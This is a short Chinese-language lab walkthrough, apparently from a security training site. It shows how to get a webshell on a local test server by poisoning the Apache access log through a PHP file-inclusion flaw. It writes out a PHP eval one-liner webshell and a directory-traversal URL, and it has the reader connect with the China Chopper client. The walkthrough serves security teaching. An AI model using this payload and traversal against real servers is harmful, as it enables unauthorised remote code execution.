本地檔案包含之包含日誌獲取webshell

託帕發表於2018-08-06

預備知識

程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案,無須再次編寫,這種呼叫檔案的過程稱為包含。

實驗目的

學會包含日誌獲取webshell

實驗工具

瀏覽器

實驗環境

客戶機一臺

實驗步驟

1、訪問127.0.0.1/FI/PHP_FI.php?filename=LFI.txt網頁顯示是檔案包含漏洞。

2.瀏覽器設定代理服務的步驟:點選網頁右上角,選擇【選項】---【高階】—【網路】—【設定】,選擇【手動配置代理】,輸入HTTP代理127.0.0.1,埠8080,清空不使用代理下方的文字框,點選確定。

3.重新整理瀏覽器的127.0.0.1/FI/PHP_FI.php?filename=<?php @eval($_POST[1]);?>網頁,burpsuite自動抓包,修改為如下。命令是<?php @eval($_POST[1]);?>

修改完畢,點選【Forward】按鈕。

4.雙擊桌面的【實驗工具】資料夾,雙擊開啟【中國菜刀】資料夾。找到【中國菜刀.exe】,並雙擊開啟。

空白處右擊,選擇【新增】。

輸入地址http://127.0.0.1/FI/PHP_FI.php?filename=../../../../../phpStudy/Apache/logs/access.log

相關文章